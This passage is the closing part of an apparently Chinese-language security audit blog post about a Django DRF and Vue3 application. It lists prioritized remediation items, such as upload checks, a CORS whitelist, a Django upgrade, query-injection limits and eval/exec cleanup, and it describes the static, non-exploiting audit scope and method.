P1 文件上传校验 + media 安全头 + 文件列表属主过滤;消息中心/用户列表数据范围修复
P1 口令方案去除 md5 预哈希;CORS 白名单化
P1 升级 Django ≥4.2.28(CVE-2026-1312);收紧 ordering_fields;禁用或限制 django-restql query 注入面
P2 Excel 导入/导出加固;操作日志敏感字段掩码;登录枚举与锁定策略优化;iregex 前缀清理
P2 Secure Cookie/TLS;关闭调试接口与 swagger 匿名访问;系统配置接口脱敏;currency.py 标识符校验
P3 清理 eval/exec;Host 头配置化;对象键安全化;前端 URL scheme 白名单

九、审计范围与方法

  • 范围:backend/(Django DRF 应用,含配置、fixtures、部署脚本、docker 配置)与 web/src/(Vue3 前端);重点:认证、权限、过滤、序列化、文件、导入导出、系统配置、消息中心、SSE/WebSocket、中间件、前端渲染 sink。
  • 方法:源码静态审计;关键漏洞经人工逐行复核(给出 file:line 证据);六路分类并行核查(RCE/反序列化、SQL 注入、未授权/越权、硬编码凭据、SSRF/文件操作、XSS),多路结果交叉验证。
  • 说明:未做实际网络利用;backend/conf/env.py 不在仓库(运行时由 example 复制生成);plugins/ 为空(第三方插件不在审计范围)。
正文完
 0
评论(没有评论)